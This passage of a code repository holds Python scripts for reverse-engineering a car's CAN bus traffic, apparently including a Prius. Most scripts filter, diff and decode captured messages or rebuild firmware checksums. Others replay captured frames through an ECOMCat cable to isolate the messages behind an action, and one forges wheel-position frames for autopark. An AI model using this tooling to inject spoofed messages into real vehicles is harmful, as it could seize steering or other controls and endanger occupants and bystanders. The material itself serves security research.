+= new_line + "\r\n" 99 | 100 | #get rid of the last \r\n 101 | new_s_format_data = new_s_format_data[:-2] 102 | 103 | s_format_crc32_fixed = binascii.crc32(new_s_format_data) 104 | fixed_fp.write(struct.pack('>l', s_format_crc32_fixed)) 105 | 106 | fixed_fp.write(new_s_format_data) 107 | 108 | print("Header CRC: %08X" % (s_format_crc32)) 109 | print("Header Computed CRC: %08X" % (s_format_crc32_fixed)) 110 | 111 | 112 | fixed_fp.seek(0x12) 113 | cuw_bytes = fixed_fp.read() 114 | cuw_crc32 = binascii.crc32(cuw_bytes) 115 | 116 | fixed_fp.seek(0x0E) 117 | fixed_fp.write(struct.pack('>l', cuw_crc32)) 118 | 119 | 120 | 121 | 122 | 123 | -------------------------------------------------------------------------------- /code/scripts/data_puller.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from SFF import SFFMessage 3 | 4 | if __name__ == "__main__": 5 | 6 | if (len(sys.argv) < 3): 7 | print(f"Usage: {sys.argv[0]} <11-bit CAN ID>") 8 | print(f"Example1: {sys.argv[0]} input.dat output.dat 0025") 9 | print(f"Example2: {sys.argv[0]} input.dat output.dat 0025,0026,0027") 10 | print(f"Example3: {sys.argv[0]} input.dat output.dat 0025-02FF") 11 | sys.exit(1) 12 | 13 | #search types 14 | #1 == single ID 15 | #2 == multi-id 16 | #3 == range 17 | wid_search = 1 18 | wids = [] 19 | low = 0 20 | high = 0 21 | input_file = sys.argv[1] 22 | output_file = sys.argv[2] 23 | find_wid = sys.argv[3] 24 | 25 | if (find_wid.find(',') != -1): 26 | ids = find_wid.split(",") 27 | wids.extend(wid.strip() for wid in ids) 28 | wid_search = 2 29 | elif(find_wid.find("-") != -1): 30 | ids = find_wid.split("-") 31 | low = int(ids[0].strip(), 16) 32 | high = int(ids[1].strip(), 16) 33 | wid_search = 3 34 | 35 | #input file to read debug lines from 36 | f = file(input_file, "r") 37 | 38 | msgs = [] 39 | count = 0 40 | for line in f: 41 | msg = SFFMessage(line) 42 | if (msg.wid != 0): 43 | if ( 44 | wid_search == 1 45 | and (msg.wid == find_wid) 46 | or wid_search != 1 47 | and wid_search == 2 48 | and (msg.wid in wids) 49 | ): 50 | count += 1 51 | msgs.append(line) 52 | #msgs.append(msg) 53 | elif wid_search != 1 and wid_search != 2 and wid_search == 3: 54 | wid = int(msg.wid, 16) 55 | if(wid >= low and wid <= high): 56 | count += 1 57 | msgs.append(line) 58 | #msgs.append(msg) 59 | f.close() 60 | 61 | #output file to write certain lines out 62 | f = file(output_file, "w") 63 | 64 | for found in msgs: 65 | f.write(str(found)) 66 | 67 | f.close() 68 | 69 | print("Found %d messages that match %s" % (count, sys.argv[3])) 70 | 71 | -------------------------------------------------------------------------------- /code/scripts/diff_ids.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from SFF import SFFMessage 3 | 4 | filea_ids = [] 5 | fileb_ids = [] 6 | if (len(sys.argv) < 3): 7 | print(f"Usage: {sys.argv[0]} ") 8 | sys.exit(1) 9 | 10 | file_a = sys.argv[1] 11 | file_b = sys.argv[2] 12 | 13 | with open(file_a) as fpfilea: 14 | for line in fpfilea: 15 | sff_msg = SFFMessage(line.strip()) 16 | if(sff_msg.wid not in filea_ids): 17 | filea_ids.append(sff_msg.wid) 18 | print("Found %d ids in %s" % (len(filea_ids), file_a)) 19 | 20 | with open(file_b) as fpfileb: 21 | for line in fpfileb: 22 | sff_msg = SFFMessage(line.strip()) 23 | if(sff_msg.wid not in fileb_ids): 24 | fileb_ids.append(sff_msg.wid) 25 | print("Found %d ids in %s\n" % (len(fileb_ids), file_b)) 26 | 27 | fileb_ids_diff = [wid for wid in fileb_ids if wid not in filea_ids] 28 | filea_ids_diff = [wid for wid in filea_ids if wid not in fileb_ids] 29 | print(f"Only {file_a}") 30 | for wid in filea_ids_diff: 31 | print(wid) 32 | 33 | print(f"Only {file_b}") 34 | for wid in fileb_ids_diff: 35 | print(wid) 36 | -------------------------------------------------------------------------------- /code/scripts/diff_lines.py: -------------------------------------------------------------------------------- 1 | import sys, getopt 2 | from SFF import SFFMessage 3 | 4 | output = "" 5 | 6 | optlist, args = getopt.getopt(sys.argv[1:], ':o:') 7 | if (len(args) < 2): 8 | print(f"Usage: {sys.argv[0]} [options] ") 9 | sys.exit(1) 10 | 11 | for o, a in optlist: 12 | #output mode to a file 13 | if o == "-o": 14 | output = a 15 | 16 | filea_msgs = [] 17 | fileb_msgs = [] 18 | file_a = args[0] 19 | file_b = args[1] 20 | 21 | with open(file_a) as fplock: 22 | for line in fplock: 23 | msg = SFFMessage(line) 24 | if(msg not in filea_msgs): 25 | filea_msgs.append(msg) 26 | with open(file_b) as fplock: 27 | for line in fplock: 28 | msg = SFFMessage(line) 29 | if(msg not in fileb_msgs): 30 | fileb_msgs.append(msg) 31 | fileb_msgs_diff = [msg for msg in fileb_msgs if msg not in filea_msgs] 32 | filea_msgs_diff = [msg for msg in filea_msgs if msg not in fileb_msgs] 33 | of = open(output, "w") if (output != "") else None 34 | filea_cnt = "Only %s [%d lines]" % (file_a, len(filea_msgs_diff)) 35 | print(filea_cnt) 36 | 37 | if(of): 38 | of.write(filea_cnt + '\n') 39 | 40 | for msg in filea_msgs_diff: 41 | print(msg) 42 | if(of): 43 | of.write(str(msg) + '\n') 44 | 45 | print("\n") 46 | if(of): 47 | of.write('\n') 48 | 49 | fileb_cnt = "Only %s [%d lines]" % (file_b, len(fileb_msgs_diff)) 50 | print(fileb_cnt) 51 | 52 | if(of): 53 | of.write(fileb_cnt + '\n') 54 | 55 | for msg in fileb_msgs_diff: 56 | print(msg) 57 | if(of): 58 | of.write(str(msg) + '\n') 59 | 60 | if(of): 61 | of.close() 62 | -------------------------------------------------------------------------------- /code/scripts/find_diag_id.py: -------------------------------------------------------------------------------- 1 | import sys, getopt 2 | from SFF import SFFMessage 3 | 4 | verbose = True 5 | outputfile = "" 6 | optlist, args = getopt.getopt(sys.argv[1:], ':o:') 7 | if(len(args) < 1): 8 | print("Usage: %s [options] ") 9 | print("options:") 10 | print(" -o ") 11 | sys.exit(1) 12 | 13 | for o,a in optlist: 14 | if o == "-o": 15 | outputfile = a 16 | 17 | inputfile = args[0] 18 | search_byte = args[1] 19 | found_lines = [] 20 | with open(inputfile, "r") as fp: 21 | #look for the 2nd byte of the data for a particular byte 22 | for line in fp: 23 | msg = SFFMessage(line) 24 | 25 | #skip over multi-line transactions as we don't care 26 | if msg.data[:1] == "2": 27 | continue 28 | 29 | if msg.data[3:5] == search_byte: 30 | found_lines.append(msg) 31 | if(outputfile != ""): 32 | fp = open(outputfile, "w") 33 | 34 | for msg in found_lines: 35 | print(msg) 36 | 37 | if(outputfile != ""): 38 | fp.write(str(msg) + '\n') 39 | fp.close() 40 | -------------------------------------------------------------------------------- /code/scripts/find_wheel.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | class SFFMessage: 4 | def __init__(self, line): 5 | 6 | self.wid = 0x0000 7 | self.line = line 8 | #break out the pieces 9 | pieces = line.split(',') 10 | 11 | if(len(pieces) > 3): 12 | self.idh = pieces[0].split(':')[1].strip() 13 | self.idl = pieces[1].split(':')[1].strip() 14 | self.wid = self.idh + self.idl 15 | self.len = int(pieces[2].split(':')[1].strip(),16) 16 | self.data = pieces[3].split(':')[1].strip() 17 | 18 | self.data_pieces = self.data.split(' ') 19 | if len(self.data_pieces) != self.len: 20 | print("ERROR - COULDN'T SPLIT DATA") 21 | 22 | 23 | def check_for_msg(msg, print_repeats, verbosity): 24 | global lines 25 | if msg.wid in list(lines.keys()): 26 | # print "existing..." 27 | entry = lines[msg.wid] 28 | if entry['len'] != msg.len: 29 | print("Packet with unexpected length found!") 30 | print(msg.line) 31 | if not print_repeats: 32 | add_msg_to_data(msg) 33 | for x in range(msg.len): 34 | #seen this byte before 35 | if msg.data_pieces[x] not in list(entry[x].keys()): 36 | if verbosity > 0: 37 | print("FOUND DIFFERING BYTE, SLOT %d" % x) 38 | print(list(entry[x].keys())) 39 | print(msg.data_pieces[x]) 40 | print(msg.line) 41 | if verbosity == 0: 42 | print(msg.wid) 43 | if not print_repeats: 44 | add_msg_to_data(msg) 45 | else: 46 | print(f"NEW MSG TYPE {msg.wid}") 47 | 48 | 49 | def add_msg_to_data(msg): 50 | global lines 51 | if msg.wid in list(lines.keys()): 52 | # print "existing, add to it" 53 | entry = lines[msg.wid] 54 | if entry['len'] != msg.len: 55 | print("Packet with lengths that don't match found!") 56 | for x in range(msg.len): 57 | #seen this byte before 58 | if msg.data_pieces[x] in list(entry[x].keys()): 59 | entry[x][msg.data_pieces[x]] = entry[x][msg.data_pieces[x]] + 1 60 | # its a new byte 61 | else: 62 | entry[x][msg.data_pieces[x]] = 1 63 | else: 64 | # print "new one, add it" 65 | entry = {'len':msg.len} 66 | for x in range(msg.len): 67 | entry[x] = {msg.data_pieces[x]:1} 68 | lines[msg.wid] = entry 69 | 70 | 71 | def get_data(filename): 72 | fp = open(filename, "r") 73 | for line in fp: 74 | msg = SFFMessage(line) 75 | if(msg.wid != 0): 76 | add_msg_to_data(msg) 77 | 78 | def look_for_different_data(filename, print_repeats, verbosity): 79 | fp = open(filename, "r") 80 | for line in fp: 81 | msg = SFFMessage(line) 82 | if(msg.wid != 0): 83 | check_for_msg(msg, print_repeats, verbosity) 84 | 85 | lines = {} 86 | get_data("manual.dat") 87 | idle = lines 88 | 89 | lines = {} 90 | get_data("autopark.dat") 91 | #print "steering" 92 | #print 93 | #get_data('autopark.dat') 94 | steering = lines 95 | 96 | def print_max(wid, byte): 97 | global lines 98 | min = 255 99 | max = 0 100 | for x in lines[wid][byte]: 101 | val = int(x,16) 102 | if val > max: 103 | max = val 104 | if val < min: 105 | min = val 106 | print("max: %x, min: %x, diff %x" % (max,min,max - min)) 107 | 108 | def do_max(file, wid, byte): 109 | global lines 110 | print(file) 111 | lines = {} 112 | get_data(f"{file}.dat") 113 | print_max(wid, byte) 114 | 115 | #do_max('off','0250',1) 116 | #do_max('idle','0250',1) 117 | #do_max('reverse','0250',1) 118 | #do_max('drive','0250',1) 119 | #do_max('accelerate','0250',1) 120 | #do_max('steering','0250',1) 121 | #do_max('coast','0250',1) 122 | #do_max('set','0250',1) 123 | #do_max('resume','0250',1) 124 | #do_max('manual','0250',1) 125 | #do_max('autopark','0250',1) 126 | 127 | for wid in idle: 128 | # print idle[wid] 129 | for byte in range(idle[wid]['len']): 130 | # print idle[wid][byte] 131 | if len(idle[wid][byte]) < 3: 132 | # print "wid %s at byte %d is static" % (wid, byte) 133 | if len(steering[wid][byte]) >= 3: 134 | print("non static in steering where was static in idle, %s:%d" % (wid, byte)) 135 | min = 255 136 | max = 0 137 | for x in steering[wid][byte]: 138 | if int(x,16) > max: 139 | max = int(x,16) 140 | if int(x,16) < min: 141 | min = int(x,16) 142 | # print max - min 143 | print(idle[wid][byte]) 144 | print(steering[wid][byte]) 145 | # print idle[wid] 146 | # print steering[wid] 147 | 148 | #print idle 149 | #print steering 150 | 151 | #look_for_different_data("test.dat", False, 0) 152 | #print lines 153 | -------------------------------------------------------------------------------- /code/scripts/get_wheel.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import sys 3 | from SFF import SFFMessage 4 | 5 | filea_ids = [] 6 | filea_ids_diff = [] 7 | fileb_ids = [] 8 | fileb_ids_diff = [] 9 | 10 | if(len(sys.argv) < 2): 11 | print("Usage: %s " % (sys.argv[0])) 12 | sys.exit(1) 13 | 14 | file_a = sys.argv[1] 15 | 16 | fpfilea = open(file_a) 17 | for line in fpfilea: 18 | sff_msg = SFFMessage(line.strip()) 19 | if int(sff_msg.idh,16) == 0 and int(sff_msg.idl,16) == 0x81: 20 | data = sff_msg.data 21 | wheel1 = int(data[0:2],16)<<8 22 | wheel2 = (int(data[3:5],16)) 23 | wheel = wheel1 + wheel2 24 | print(wheel) 25 | fpfilea.close() 26 | 27 | -------------------------------------------------------------------------------- /code/scripts/get_wheel_info.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import sys 4 | from SFF import SFFMessage 5 | 6 | filea_ids = [] 7 | filea_ids_diff = [] 8 | fileb_ids = [] 9 | fileb_ids_diff = [] 10 | 11 | if(len(sys.argv) < 2): 12 | print("Usage: %s " % (sys.argv[0])) 13 | sys.exit(1) 14 | 15 | file_a = sys.argv[1] 16 | 17 | fpfilea = open(file_a) 18 | 19 | stats = {} 20 | 21 | for line in fpfilea: 22 | sff_msg = SFFMessage(line.strip()) 23 | if int(sff_msg.idh,16) == 0 and int(sff_msg.idl,16) == 0x81: 24 | data = sff_msg.data 25 | wheel1 = int(data[0:2],16)<<8 26 | wheel2 = (int(data[3:5],16)) 27 | wheel = wheel1 + wheel2 28 | x = "%d" % wheel 29 | try: 30 | print(x + stats[80] + stats[82] + stats[215]) 31 | except: 32 | pass 33 | if int(sff_msg.idh,16) == 0 and int(sff_msg.idl,16) == 0x80: 34 | data = sff_msg.data 35 | wheel1 = int(data[0:2],16)<<8 36 | wheel2 = (int(data[3:5],16)) 37 | wheel = wheel1 + wheel2 38 | wheel1 = int(data[6:8],16)<<8 39 | wheel2 = (int(data[9:11],16)) 40 | wheel2 = wheel1 + wheel2 41 | stats[80] = ",%d,%d" % (wheel, wheel2) 42 | if int(sff_msg.idh,16) == 0 and int(sff_msg.idl,16) == 0x82: 43 | data = sff_msg.data 44 | wheel1 = int(data[0:2],16) 45 | stats[82] = ",%d" % wheel1 46 | if int(sff_msg.idh,16) == 0x02 and int(sff_msg.idl,16) == 0x15: 47 | data = sff_msg.data 48 | wheel1 = int(data[0:2],16)<<8 49 | wheel2 = (int(data[3:5],16)) 50 | v1 = wheel1 + wheel2 51 | wheel1 = int(data[6:8],16)<<8 52 | wheel2 = (int(data[9:11],16)) 53 | v2 = wheel1 + wheel2 54 | wheel1 = int(data[12:14],16)<<8 55 | wheel2 = (int(data[15:17],16)) 56 | v3 = wheel1 + wheel2 57 | wheel1 = int(data[18:20],16)<<8 58 | wheel2 = (int(data[21:23],16)) 59 | v4 = wheel1 + wheel2 60 | stats[215] = ",%d,%d,%d,%d" % (v1,v2,v3,v4) 61 | 62 | 63 | fpfilea.close() 64 | 65 | -------------------------------------------------------------------------------- /code/scripts/get_wheel_timing.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import sys 4 | from SFF import SFFMessage 5 | 6 | filea_ids = [] 7 | filea_ids_diff = [] 8 | fileb_ids = [] 9 | fileb_ids_diff = [] 10 | 11 | if(len(sys.argv) < 2): 12 | print("Usage: %s " % (sys.argv[0])) 13 | sys.exit(1) 14 | 15 | file_a = sys.argv[1] 16 | 17 | fpfilea = open(file_a) 18 | 19 | stats = {} 20 | 21 | for line in fpfilea: 22 | sff_msg = SFFMessage(line.strip()) 23 | if int(sff_msg.idh,16) == 0 and int(sff_msg.idl,16) == 0x81: 24 | data = sff_msg.data 25 | ts = sff_msg.ts 26 | print(ts) 27 | wheel1 = int(data[0:2],16)<<8 28 | 29 | 30 | fpfilea.close() 31 | 32 | -------------------------------------------------------------------------------- /code/scripts/histocan.py: -------------------------------------------------------------------------------- 1 | import sys, os, getopt 2 | from SFF import SFFMessage 3 | from subprocess import call 4 | 5 | def Histogram(L): 6 | d = {} 7 | for x in L: 8 | sff_id = x.wid 9 | if sff_id in d: 10 | d[sff_id] += 1 11 | else: 12 | d[sff_id] = 1 13 | return d 14 | 15 | if __name__ == "__main__": 16 | 17 | output_file = "" 18 | input_file = "" 19 | create_id_files = False 20 | try_ecomcat = False 21 | 22 | optlist, args = getopt.gnu_getopt(sys.argv[1:], ':o:ce') 23 | 24 | if (len(args) < 1): 25 | print(f"Usage: {sys.argv[0]} [options] [flags]") 26 | print("Options:") 27 | print(" -o ") 28 | print("Flags:") 29 | print(" -c Create ID files from histogram") 30 | print(" -e Run ID files created with '-c' through ECom cable") 31 | sys.exit(1) 32 | 33 | #print optlist 34 | #print args 35 | 36 | for o, a in optlist: 37 | if o == "-c": 38 | create_id_files = True 39 | elif o == "-e": 40 | try_ecomcat = True 41 | 42 | elif o == "-o": 43 | output_file = a 44 | #get the arguments 45 | input_file = args[0] 46 | 47 | f = file(input_file, "r") 48 | 49 | out_f = file(output_file, "w") if (output_file != "") else None 50 | msgs = [] 51 | for line in f: 52 | msg = SFFMessage(line) 53 | if(msg.wid != 0): 54 | msgs.append(msg) 55 | 56 | histo = Histogram(msgs) 57 | sff_codes = [] 58 | 59 | for sff_code in sorted(histo, key=histo.get, reverse=True): 60 | if(output_file): 61 | out_f.write("%s %s\n" % (sff_code, histo[sff_code])) 62 | 63 | print(sff_code, histo[sff_code]) 64 | sff_codes.append(sff_code) 65 | 66 | if(out_f): 67 | out_f.close() 68 | 69 | if create_id_files: 70 | input_name = os.path.splitext(input_file)[0] 71 | for sff_code in sff_codes: 72 | output_file = f"{input_name}_{sff_code}.dat" 73 | call(["python", "data_puller.py", input_file, output_file, sff_code]) 74 | 75 | if try_ecomcat: 76 | print(f"Running => ECOMCat {output_file}") 77 | call(["ECOMCat.exe", output_file]) 78 | #print "Please hit enter to continue" 79 | #ch = sys.stdin.readline() 80 | 81 | -------------------------------------------------------------------------------- /code/scripts/ids.py: -------------------------------------------------------------------------------- 1 | import sys, getopt 2 | from SFF import SFFMessage 3 | 4 | verbose = True 5 | outputfile = "" 6 | optlist, args = getopt.getopt(sys.argv[1:], ':o:') 7 | if(len(args) < 1): 8 | print("Usage: %s [options] ") 9 | print("options:") 10 | print(" -o ") 11 | sys.exit(1) 12 | 13 | for o,a in optlist: 14 | if o == "-o": 15 | outputfile = a 16 | 17 | inputfile = args[0] 18 | with open(inputfile, "r") as fp: 19 | unique_wids = [] 20 | total = 0 21 | 22 | for line in fp: 23 | msg = SFFMessage(line) 24 | total = total + 1 25 | if msg.wid not in unique_wids: 26 | unique_wids.append(msg.wid) 27 | print("File had %d lines and %d were unique" % (total, len(unique_wids))) 28 | 29 | if(outputfile != ""): 30 | fp = open(outputfile, "w") 31 | 32 | for msg in unique_wids: 33 | print(msg) 34 | 35 | if(outputfile != ""): 36 | fp.write(str(msg) + '\n') 37 | fp.close() 38 | -------------------------------------------------------------------------------- /code/scripts/make_firmware.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import sys 3 | import difflib 4 | import binascii 5 | from SFF import SFFMessage 6 | 7 | file_a = sys.argv[1] 8 | file_b = sys.argv[2] 9 | download = sys.argv[3] # something like NEW DOWNLOAD 00 44 00 01 00 08 00 06 FF F8 10 | 11 | fa = open(file_a) 12 | fb = open(file_b) 13 | fc = open('output', 'wb') 14 | 15 | aline = fa.readline() 16 | while aline.find(download) < 0: 17 | aline = fa.readline() 18 | 19 | bline = fb.readline() 20 | while bline.find(download) < 0: 21 | bline = fb.readline() 22 | 23 | 24 | def print_line(line): 25 | global fc 26 | i = 9 27 | while i < len(line): 28 | bbyte = binascii.a2b_hex(line[i:i+2]) 29 | fc.write(bbyte) 30 | i+=3 31 | 32 | aline = fa.readline() 33 | bline = fb.readline() 34 | 35 | quit = False 36 | while aline and not quit: 37 | if aline != bline: 38 | alen = int(aline[:3], 16) 39 | blen = int(bline[:3], 16) 40 | if alen > blen: 41 | print_line( aline.strip()) 42 | else: 43 | print_line( bline.strip()) 44 | else: 45 | print_line( aline.strip()) 46 | aline = fa.readline() 47 | bline = fb.readline() 48 | if aline.find('NEW DOWNLOAD') >= 0: 49 | quit = True 50 | 51 | fc.close() 52 | -------------------------------------------------------------------------------- /code/scripts/make_stopped_autopark_data.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | def print_81_line(pos, ts): 4 | out = 'IDH: 00, IDL: 81, Len: 08, Data: ' 5 | out += '%02X' % (pos >> 8) 6 | out += ' ' 7 | out += '%02X' % (pos & 0xff) 8 | out += ' 12 00 00 00 00 00 ,TS: ' 9 | out += '%d' % ts 10 | out += ',BAUD: 1' 11 | print(out) 12 | 13 | num_times = 120 # 60 14 | diffs=[-10,-16,-24,-30,-40,-46,-54,-60,-70,-76,-84,-94,-100,-108,-114,-122,-130,-138,-146,-152,-160,-168,-176,-184,-192,-194] 15 | end_diff = -194 16 | start = 0x4E6B 17 | ts_diff = 312 18 | 19 | newposition = start 20 | timestamp = 0 21 | for diff in diffs: 22 | print_81_line(newposition,timestamp) 23 | newposition += diff 24 | timestamp += ts_diff 25 | for _ in range(num_times): 26 | print_81_line(newposition,timestamp) 27 | newposition += end_diff 28 | timestamp += ts_diff 29 | 30 | -------------------------------------------------------------------------------- /code/scripts/mot_chsum.py: -------------------------------------------------------------------------------- 1 | s_line = "S3210008371065ABCE1F8AB401C8C72967230C6F99B6C84AE25ED793F949CE76CCCC8B" 2 | 3 | s_type = s_line[:2] 4 | s_len = int(s_line[2:4], 16) 5 | 6 | data_checksum = 0 + s_len 7 | print("SLen: %02X" % (s_len)) 8 | 9 | curr_index = 4 10 | 11 | data_end = 2 * 2 12 | if s_type == "S2": 13 | data_end = 3 * 2 14 | elif s_type == "S3": 15 | data_end = 4 * 2 16 | 17 | end_index = curr_index + data_end 18 | 19 | #addr = int(s_line[curr_index:end_index], 16) 20 | #data_checksum += addr 21 | 22 | #print "SLen: %08X" % (addr) 23 | 24 | #curr_index = end_index 25 | 26 | data = s_line[curr_index:-2] 27 | 28 | print(data) 29 | 30 | #create a checksum 31 | for i in range(0, len(data), 2): 32 | byte = data[i:i+2] 33 | 34 | data_checksum += int(byte, 16) 35 | 36 | print("ChecksumByte: 0x%02X" % (~data_checksum & 0xFF)) 37 | -------------------------------------------------------------------------------- /code/scripts/one_line_at_a_time.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from subprocess import call 3 | from SFF import SFFMessage 4 | 5 | if(len(sys.argv) < 3): 6 | print("Usage: %s " % (sys.argv[0])) 7 | sys.exit(1) 8 | 9 | file_a = sys.argv[1] 10 | percent = int(sys.argv[2]) 11 | 12 | fpfilea = open(file_a) 13 | 14 | numlines = 0 15 | for line in fpfilea: 16 | numlines += 1 17 | fpfilea.close() 18 | 19 | print("Found %d lines in file" % numlines) 20 | 21 | starting = numlines * percent * .01 22 | 23 | print("Starting to replay at line number %d" % starting) 24 | 25 | 26 | fpfileb = open(file_a) 27 | numlines = 0 28 | for line in fpfileb: 29 | line = line.strip() 30 | if numlines > starting: 31 | print(line) 32 | line = "\"" + line + "\"" 33 | #call(["ECOMCat.exe", line]) 34 | print(["ECOMCat.exe", line]) 35 | print("Please hit enter to continue") 36 | ch = sys.stdin.readline() 37 | numlines += 1 38 | fpfileb.close() 39 | 40 | -------------------------------------------------------------------------------- /code/scripts/prius_read_14229ids.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import sys 3 | from SFF import SFFMessage 4 | clean, longdata = list(range(2)) 5 | toserver, toclient = list(range(2)) 6 | 7 | if (len(sys.argv) < 2): 8 | print(f"Usage: {sys.argv[0]} ") 9 | sys.exit(1) 10 | 11 | sys.exit(1) 12 | 13 | file_a = sys.argv[1] 14 | 15 | def direction_to_string(direction): 16 | return ">> " if direction == toserver else "<< " 17 | 18 | def handle_data(payload, payload_len, direction, line_num): 19 | can_id = int(payload[:2], 16) 20 | id_s = get_id_string(can_id) 21 | 22 | payload = payload[2:] 23 | #print "%sLen %02X, id %02X, payload %s" % (direction_to_string(direction), len, id, payload) 24 | print(id_s + " Line:%d" % (line_num)) 25 | 26 | fpfilea = open(file_a) 27 | 28 | ### initialize 29 | to_read = 0 30 | current_one = 0 31 | already_read = 0 32 | long_data = "" 33 | long_direction = 0 34 | 35 | line_num = 0 36 | 37 | for line in fpfilea: 38 | sff_msg = SFFMessage(line.strip()) 39 | idh = int(sff_msg.idh,16) 40 | idl = int(sff_msg.idl,16) 41 | 42 | line_num += 1 43 | 44 | if idh == 00: 45 | # print line 46 | direction = toserver 47 | if idl == 4 or idl == 2: 48 | direction = toclient 49 | 50 | #get the data from the SFFMessage 51 | data = sff_msg.data 52 | 53 | data_type = data[0:2] 54 | 55 | if data_type[0] == '0': 56 | # single packet 57 | pkt_len = int(data_type, 16) 58 | payload = data[3:3+pkt_len*3] 59 | handle_data(payload, pkt_len, direction, line_num) 60 | if data_type[0] == '1': 61 | if to_read != 0: 62 | # didn't finish the last long data transmission 63 | # print "DIDN'T READ FULL PACKET" 64 | handle_data(long_data, already_read, long_direction, line_num) 65 | # first frame packet 66 | pkt_len = (int(data_type[1], 16) << 8) + int(data[3:5], 16) 67 | current_one = 0 68 | to_read = pkt_len 69 | already_read = 6 70 | long_data = data[6:] 71 | long_direction = direction 72 | # print "%storead: %x, read: %x, data: %s" % (direction_to_string(direction), len, already_read, long_data) 73 | if data_type[0] == '2': 74 | # consecutive frame packet 75 | if current_one + 1 != int(data_type[1],16) and not (current_one == 0xf and int(data_type[1],16) == 0): 76 | # print "ERROR - LOST PACKET" 77 | pass 78 | current_one = int(data_type[1],16) 79 | payload = data[3:] 80 | read_this_time = min(to_read - already_read, 7) 81 | # print "read %d" % read_this_time 82 | already_read += read_this_time 83 | long_data += " " + data[3:3+read_this_time*3] 84 | # print "%storead: %x, read: %x, data: %s" % (direction_to_string(direction), len, already_read, long_data) 85 | if already_read == to_read: 86 | handle_data(long_data, to_read, long_direction, line_num) 87 | to_read = 0 88 | 89 | if data_type[0] == '3': 90 | pass 91 | #print data 92 | 93 | fpfilea.close() 94 | 95 | -------------------------------------------------------------------------------- /code/scripts/remove_lines.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from SFF import SFFMessage 3 | 4 | if __name__ == "__main__": 5 | 6 | if (len(sys.argv) < 3): 7 | print(f"Usage: {sys.argv[0]} <11-bit CAN ID>") 8 | print(f"Example1: {sys.argv[0]} input.dat output.dat 0025") 9 | print(f"Example2: {sys.argv[0]} input.dat output.dat 0025,0026,0027") 10 | print(f"Example3: {sys.argv[0]} input.dat output.dat 0025-02FF") 11 | sys.exit(1) 12 | 13 | #search types 14 | #1 == single ID 15 | #2 == multi-id 16 | #3 == range 17 | wid_search = 1 18 | wids = [] 19 | low = 0 20 | high = 0 21 | input_file = sys.argv[1] 22 | output_file = sys.argv[2] 23 | find_wid = sys.argv[3] 24 | 25 | if (find_wid.find(',') != -1): 26 | ids = find_wid.split(",") 27 | wids.extend(wid.strip() for wid in ids) 28 | wid_search = 2 29 | elif(find_wid.find("-") != -1): 30 | ids = find_wid.split("-") 31 | low = int(ids[0].strip(), 16) 32 | high = int(ids[1].strip(), 16) 33 | wid_search = 3 34 | 35 | #input file to read debug lines from 36 | f = file(input_file, "r") 37 | 38 | msgs = [] 39 | count = 0 40 | for line in f: 41 | msg = SFFMessage(line) 42 | if (msg.wid != 0): 43 | if ( 44 | wid_search == 1 45 | and (msg.wid != find_wid) 46 | or wid_search != 1 47 | and wid_search == 2 48 | and (msg.wid not in wids) 49 | ): 50 | count += 1 51 | #msgs.append(msg) 52 | msgs.append(line.strip()) 53 | elif wid_search != 1 and wid_search != 2 and wid_search == 3: 54 | wid = int(msg.wid, 16) 55 | if(wid <= low and wid >= high): 56 | count += 1 57 | #msgs.append(msg) 58 | msgs.append(line.strip()) 59 | f.close() 60 | 61 | #output file to write certain lines out 62 | f = file(output_file, "w") 63 | 64 | for found in msgs: 65 | f.write(str(found) + '\n') 66 | 67 | f.close() 68 | 69 | print("Found %d messages that do not match %s" % (count, sys.argv[3])) 70 | 71 | -------------------------------------------------------------------------------- /code/scripts/replay_it.py: -------------------------------------------------------------------------------- 1 | from subprocess import call 2 | 3 | #globals 4 | #x = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18] 5 | #x = [] 6 | 7 | def playit(x): 8 | filename = "temp.dat" 9 | with open(filename, "w") as fp: 10 | for line in x: 11 | fp.write(line + "\n") 12 | print(f"Running => ECOMCat {filename}") 13 | call(["ECOMCat.exe", filename]) 14 | #print "Please hit enter to continue" 15 | #ch = sys.stdin.readline() 16 | 17 | def find_first(x,cur,level): 18 | temp = x[cur:] 19 | playit(temp) 20 | offset = len(x)/level 21 | print("in findit with cur = %d, level=%d, offset=%d" % (cur, level,offset)) 22 | yesno = input("Did it still do the thing?") 23 | if yesno[0] == 'y': 24 | # didn't need those bytes 25 | cur += offset 26 | else: 27 | if offset == 0: 28 | cur -= 1 29 | cur -= offset 30 | 31 | if offset > 0: 32 | return find_first(x,cur,2*level) 33 | print("FOUND BEGINING") 34 | print(x[cur]) 35 | return cur 36 | 37 | def find_end(x,cur,level): 38 | temp = x[:cur] 39 | playit(temp) 40 | offset = len(x)/level 41 | print("in findit with cur = %d, level=%d, offset=%d" % (cur, level,offset)) 42 | yesno = input("Did it still do the thing?") 43 | if yesno[0] == 'y': 44 | # didn't need those bytes 45 | if offset == 0: 46 | cur -=1 47 | cur -= offset 48 | else: 49 | cur += offset 50 | 51 | if offset > 0: 52 | return find_end(x,cur,2*level) 53 | print("FOUND END") 54 | print(x[cur]) 55 | return cur 56 | 57 | 58 | def findit(x): 59 | # pad out to power of 2 60 | counter = 1 61 | dalen = len(x) 62 | while dalen > 2: 63 | dalen /= 2 64 | counter += 1 65 | y = len(x) 66 | while y < 2**(counter+1): 67 | x += [x[len(x)-1]] 68 | y += 1 69 | first = find_first(x, len(x)/2, 4) 70 | last = find_end(x, len(x)/2, 4) 71 | print("FOUND MINIMAL SET") 72 | 73 | with open("minset.dat", "w") as min_fp: 74 | for l in x[first:last+1]: 75 | min_fp.write(l + "\n") 76 | 77 | #print x[first:last+1] 78 | 79 | if __name__ == "__main__": 80 | #get array 'lines' which is everyline from a debug output 81 | lines = [] 82 | with open('input_good.dat', 'r') as fp: 83 | print("starting..") 84 | lines.extend(line.strip() for line in fp) 85 | findit(lines) 86 | -------------------------------------------------------------------------------- /code/scripts/send_line.py: -------------------------------------------------------------------------------- 1 | from subprocess import 